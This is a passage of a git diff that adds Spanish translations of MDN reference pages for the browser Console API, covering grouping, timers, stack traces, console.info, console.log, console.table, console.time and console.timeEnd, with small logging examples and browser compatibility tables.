+<pre class="brush: js">console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.debug("Back to the outer level");
+</pre>
+
+<p>La salida se verá así:</p>
+
+<p><img alt="nesting.png" class="default internal" src="/@api/deki/files/6082/=nesting.png"></p>
+
+<div>{{h3_gecko_minversion("Timers", "10.0")}}</div>
+
+<p>En orden para calcular la duración de una operación específica, Geco 10 introdujo soporte de contadores (timers del inglés) en el objeto console. Para iniciar un contador, usa el método <code>console.time</code><code>()</code> , pasándole como parámetro un nombre. Para detener un contador, y obtener el tiempo transcurrido en milisegúndos, solo usa el método <code>console.timeEnd(), nuevamente pasándole el nombre del contador como parámetro. Se pueden ejecutar hasta 10000 (diez mil) contadores simultáneamente en una página.</code></p>
+
+<p>Por ejemplo, teniendo el siguiente código:</p>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeEnd("answer time");
+</pre>
+
+<p>Registrará el tiempo necesitado por el usuario para descartar el cuadro de alerta (alert box del inglés):</p>
+
+<p><img alt="timerresult.png" class="default internal" src="/@api/deki/files/6084/=timerresult.png"></p>
+
+<p>Tener presente de que los nombres de los contadores son mostrados cuando el contador inicia y cuando es detenido (respectivamente).</p>
+
+<div class="note"><strong>Nota:</strong> Es importante saber que si estas usando esto para registrar el tiempo del trafico de red, el contador reportará el tiempo total para la transacción, mientras que el tiempo listado en el panel de conexiones o panel de red (network panel del inglés) es solo la cantidad de tiempo requerida para la cabecera (transaction header). Si en cambio tienes el registro de cuerpo hablitado (response body loggin del inglés), el tiempo listado para la respuesta de la cabecera y el cuerpo combinados debiera coincidir con lo que vez en la salida de la consola. </div>
+
+<h3 id="Rastro_de_pilas_(Stack_traces)">Rastro de pilas (Stack traces)</h3>
+
+<p>El objeto consola tambien soporta la salida de una traza de pila (stack trace del inglés); Esto te mostrará  la ruta de llamadas tomadas hasta alcanzar el punto de tu llamada {{domxref("console.trace()")}}. Dado un código como el siguiente:</p>
+
+<pre>foo();
+
+function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+</pre>
+
+<p>La salida en la consola se verá como esto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p><a href="https://github.com/DeveloperToolsWG/console-object/blob/master/api.md">Objeto API Console</a></p>
+
+<h2 id="Notas">Notas</h2>
+
+<ul>
+ <li>Al menos en Firefox, si una página define un objeto console, este objeto sobreescribirá el construido en Firefox.</li>
+ <li>Anteriormente a {{Gecko("12.0")}}, los métodos del objeto console solo funcionaban cuando la consola estaba abierta. Desde e iniciando con {{Gecko("12.0")}}, la salida es almacenada (cacheada del inglés cached) hasta que la consola web es abierta, entonces se muestra en ese momento.</li>
+ <li>Vale la pena destacar que el objeto console construido por Firefox es compatible con el provisto por <a class="external" href="http://getfirebug.com/" title="http://getfirebug.com/">Firebug</a>.</li>
+</ul>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Tools">Herramientas</a></li>
+ <li><a href="/en-US/docs/Tools/Web_Console">Consola Web</a> - como la consola web en Firefox maneja las llamadas a la API Console</li>
+ <li><a href="/en-US/docs/Tools/Remote_Debugging">Depuración remota</a> - como ver la salida de la consola cuando el objetivo a depurar es un dispositivo móvil</li>
+ <li><a href="/en-US/Firefox_OS/Using_the_App_Manager">Depuración de aplicaciones con Firefox OS</a> - usando el Gestor de Aplicaciones para depurar aplicaciones en ejecución en Firefox OS</li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">Registro de consola en el dispositivo (on-device)</a> - como registrar con la consola en dispositivos Firefox OS</li>
+</ul>
+
+<h3 id="Otras_implementaciones">Otras implementaciones</h3>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Herramientas para desarrolladores de Google Chrome</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/hh772173(v=vs.85).aspx">Internet Explorer</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari</a></li>
+</ul>
diff --git a/files/es/web/api/console/info/index.html b/files/es/web/api/console/info/index.html
new file mode 100644
index 0000000000..75fb215b47
--- /dev/null
+++ b/files/es/web/api/console/info/index.html
@@ -0,0 +1,163 @@
+---
+title: Console.info()
+slug: Web/API/Console/info
+tags:
+  - API
+  - Depuración
+  - Desarrollo web
+  - NecesidadNavegadorCompatible
+  - consola web
+  - metodo
+translation_of: Web/API/Console/info
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>Emite un mensaje informativo a la Consola Web. En Firefox y Chrome, se muestra un pequeño ícono "i" junto a estos elementos en el registro de la Consola Web.</div>
+
+<p> </p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.info(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.info(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Parametros">Parametros</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Una lista de objetos JavaScript a la salida. Las representaciones de cadena de cada uno de estos objetos se anexan en el orden y salida.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Un String en JavaScript contiene cero o mas strings de sustitucion</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Objetos en JavaScript con los que reemplazar cadenas de sustitución dentro del mensaje. Esto le da un control adicional sobre el formato de la salida.</dd>
+</dl>
+
+<p>Ver <a href="/en-US/docs/Web/API/console#Outputting_text_to_the_console">Salida de texto en la consola</a> en la documentacion de  {{domxref("console")}} para detalles.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion </th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#info", "console.info()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Definicion inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Sustitucion de strings</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Icono de informacion</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Trabajadores Disponibles</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Sustitucion de strings</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Trabajadores Disponibles</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/es/web/api/console/log/index.html b/files/es/web/api/console/log/index.html
new file mode 100644
index 0000000000..56e369f395
--- /dev/null
+++ b/files/es/web/api/console/log/index.html
@@ -0,0 +1,190 @@
+---
+title: Console.log()
+slug: Web/API/Console/log
+tags:
+  - API
+  - Compatibilidad necesaria con navegadores
+  - Consola
+  - DOM
+  - Desarrollo web
+  - Método(2)
+  - consola web
+  - console.dir()
+  - console.log()
+  - debuguear
+  - depurar
+  - diferencia
+  - Árbol HTML
+  - Árbol JSON
+translation_of: Web/API/Console/log
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>Muestra un mensaje en la consola web (o del intérprete JavaScript).</div>
+
+<div> </div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.log(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.log(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Una lista de objetos JavaScript para mostrar. Las representaciones en texto de cada uno de los objetos se agregan y muestran juntas (al final una tras otra), en el orden listado.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Un texto (mensaje) conteniendo cero o más sustituciones de cadenas (sustituciones de strings). </dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Objetos JavaScript con la sustitución a reemplazar dentro del texto (<strong><code>msg</code></strong>). Esto brinda control adicional en el formato de salida del texto. </dd>
+</dl>
+
+<p>Vea "<a href="/es/docs/DOM/console#Outputting_text_to_the_console">Mostrando texto en la consola</a>" en la documentación de {{domxref("console")}} para mas detalles.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#log", "console.log()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Definicion inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>
+    <p>Soporte Básico</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Substitución de texto</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatChrome(28)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible en trabajadores</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Substitución de texto</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible en trabajadores</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Si se le pasa un valor negativo a <strong><code>%d</code></strong>, este será redondeado hacia abajo al entero negativo mas cercano, por ejemplo: -0.1 se convierte en -1.</p>
+
+<p>[2] <code>%c</code> no esta soportado, <code>%d</code> devolverá 0 cuando no sea un número.</p>
+
+<h2 id="Diferencia_con_console.dir()">Diferencia con console.dir()</h2>
+
+<p>Te preguntarás cual es la diferencia entre console.dir() y console.log().</p>
+
+<p>Una diferencia útil en Chrome es cuando envías elementos DOM a la consola.</p>
+
+<p><img src="http://i.imgur.com/DozDcYR.png"></p>
+
+<p>Importante:</p>
+
+<ul>
+ <li><code>console.log</code> muestra el elemento en un árbol HTML</li>
+ <li><code>console.dir</code> muestra el elemento en un árbol JSON</li>
+</ul>
+
+<p>Específicamente, <code>console.log</code> brinda un tratamiento especial a los elementos del DOM, mientras que console.dir no. Esto es útil a menudo cuando intentas ver la representación completa del objeto JavaScript del DOM. </p>
+
+<p>Hay mas información en la <a href="https://developers.google.com/chrome-developer-tools/docs/console-api#consoledirobject">referencia de la API Console de Chrome</a> acerca de esto y otras funciones.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Documentación Opera Dragonfly: Consola</a>.</li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Usando las herramientas F12 de Consola para ver errores y estados</a>.</li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug wiki: Console API</a> - Firebug soporta características adicionales en su propia implementación de console.log(), como <a href="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/">consola con estilos</a>.</li>
+ <li><a href="http://nodejs.org/docs/latest/api/console.html#console_console_log_data">NodeJS: API de consola</a>.</li>
+</ul>
diff --git a/files/es/web/api/console/tabla/index.html b/files/es/web/api/console/tabla/index.html
new file mode 100644
index 0000000000..53f57f5636
--- /dev/null
+++ b/files/es/web/api/console/tabla/index.html
@@ -0,0 +1,212 @@
+---
+title: Console.table()
+slug: Web/API/Console/tabla
+tags:
+  - API
+  - Consola
+  - DOM
+  - Depuración
+translation_of: Web/API/Console/table
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><span class="seoSummary">Muestra datos tabulares como una tabla.</span></p>
+
+<p>Esta función toma un argumento obligatorio: <code>data</code>, que debe ser un array o un objeto, y un parámetro adicional: <code>columns</code>.</p>
+
+<p>Muestra <code>data</code> como una tabla en la consola. Cada elemento en el array (o propiedad enumerable si <code>data</code> es un objeto) será una fila en la tabla.</p>
+
+<p>La primera columna de la tabla se identificará como <code>(index)</code>. Si <code>data</code> es un array, sus valores serán los índices del array. Si <code>data</code> es un objeto, entonces sus valores serán los nombres de las propiedades. Tenga en cuenta que (en Firefox) <code>console.table</code> está limitado a mostrar 1000 filas (la primera columna es la llamada <code>index</code>).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h3 id="Colecciones_de_tipos_primitivos">Colecciones de tipos primitivos</h3>
+
+<p>El argumento <code>data</code> puede ser un array o un objeto.</p>
+
+<pre class="brush: js">// un array de strings
+
+console.table(["apples", "oranges", "bananas"]);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8567/console-table-array.png"></p>
+
+<pre class="brush: js">// un objeto cuyas propiedades son strings
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var me = new Person("John", "Smith");
+
+console.table(me);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8559/console-table-simple-object.png"></p>
+
+<h3 id="Colecciones_de_tipos_compuestos">Colecciones de tipos compuestos</h3>
+
+<p>Si los elementos en el array, o propiedades en el objeto, son también arrays u objetos, sus elementos o propiedades serán enumeradas en la fila, una por columna:</p>
+
+<pre class="brush: js">// un array de arrays
+
+var people = [["John", "Smith"], ["Jane", "Doe"], ["Emily", "Jones"]]
+console.table(people);</pre>
+
+<p><img alt="Table displaying array of arrays" src="https://mdn.mozillademos.org/files/8561/console-table-array-of-array.png"></p>
+
+<pre class="brush: js">// un array de objetos
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily]);</pre>
+
+<p>Tenga en cuenta que si el array contiene objetos, las columnas se etiquetarán con el nombre de la propiedad.</p>
+
+<p><img alt="Table displaying array of objects" src="https://mdn.mozillademos.org/files/8563/console-table-array-of-objects.png"></p>
+
+<pre class="brush: js">// un objeto cuyas propiedades son objetos
+
+var family = {};
+
+family.mother = new Person("Jane", "Smith");
+family.father = new Person("John", "Smith");
+family.daughter = new Person("Emily", "Smith");
+
+console.table(family);</pre>
+
+<p><img alt="Table displaying object of objects" src="https://mdn.mozillademos.org/files/8565/console-table-object-of-objects.png"></p>
+
+<h3 id="Restringiendo_las_columnas_mostradas">Restringiendo las columnas mostradas</h3>
+
+<p>Por defecto, <code>console.table()</code> muestra todos los elementos de cada fila. Puedes emplear el parámetro opcional <code>columns</code>  para seleccionar un subconjunto de columnas que mostrar:</p>
+
+<pre class="brush: js">// an array of objects, logging only firstName
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily], ["firstName"]);</pre>
+
+<p><img alt="Table displaying array of objects with filtered output" src="https://mdn.mozillademos.org/files/8569/console-table-array-of-objects-firstName-only.png"></p>
+
+<h3 id="Ordenando_columnas">Ordenando columnas</h3>
+
+<p>Se puede ordenar la tabla por una columna en particular pulsando en la etiqueta de dicha columna.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.table(data [, <em>columns</em>]);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>La información a mostrar. Puede ser tanto un array como un objeto.</dd>
+ <dt><code>columns</code></dt>
+ <dd>Un array que contenga los nombres de las columnas a incluir.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#table", "console.table()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("34.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/console/time/index.html b/files/es/web/api/console/time/index.html
new file mode 100644
index 0000000000..b714b4d20c
--- /dev/null
+++ b/files/es/web/api/console/time/index.html
@@ -0,0 +1,122 @@
+---
+title: Console.time()
+slug: Web/API/Console/time
+translation_of: Web/API/Console/time
+---
+<div>{{APIRef("Console API")}}
+<p>Inicia un temporizador que puede usar para realizar un seguimiento de la duración de una operación. Le da a cada temporizador un nombre único y puede tener hasta 10.000 temporizadores ejecutándose en una página determinada. Cuando llame a {{domxref ("console.timeEnd()")}} con el mismo nombre, el navegador generará el tiempo, en milisegundos, transcurrido desde que se inició el temporizador.</p>
+
+<p>Consulte <a href="/en-US/docs/Web/API/console#Timers">Timers</a> en la documentación de {{domxref("console")}} para obtener detalles y ejemplos.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.time(<em>label</em>);
+</pre>
+
+<h2 id="Parametros">Parametros</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>El nombre para dar el nuevo temporizador. Esto identificará el temporizador; use el mismo nombre cuando llame a {{domxref ("console.timeEnd()")}} para detener el temporizador y obtener el tiempo de salida a la consola.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#time", "console.time()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_exploradores">Compatibilidad con exploradores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Console.timeEnd()")}}</li>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/es/web/api/console/timeend/index.html b/files/es/web/api/console/timeend/index.html
new file mode 100644
index 0000000000..ad452782ab
--- /dev/null
+++ b/files/es/web/api/console/timeend/index.html
@@ -0,0 +1,57 @@
+---
+title: Console.timeEnd()
+slug: Web/API/Console/timeEnd
+translation_of: Web/API/Console/timeEnd
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Detiene un temporizador que haya sido establecido previamente con {{domxref("console.time()")}}.</p>
+
+<p>Consulte la documentación de <a href="/en-US/docs/Web/API/console#Timers">Timers</a>  para más detalles y ejemplos.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.timeEnd(<em>etiqueta</em>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">etiqueta</span></font></dt>
+ <dd>El nombre del temporizador a detener. Al detenerse, el tiempo transcurrido será mostrado automáticamente en la <a href="/en-US/docs/Tools/Web_Console">Consola del Navegador</a>.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#timeend", "console.timeEnd()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta página es generada automáticamente. Si deseas contribuir con información, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos un pull request.</div>
+
+<p>{{Compat("api.Console.timeEnd")}}</p>
+</div>
+
+<h2 id="Relacionados">Relacionados</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/es/web/api/console/trace/index.html b/files/es/web/api/console/trace/index.html
new file mode 100644
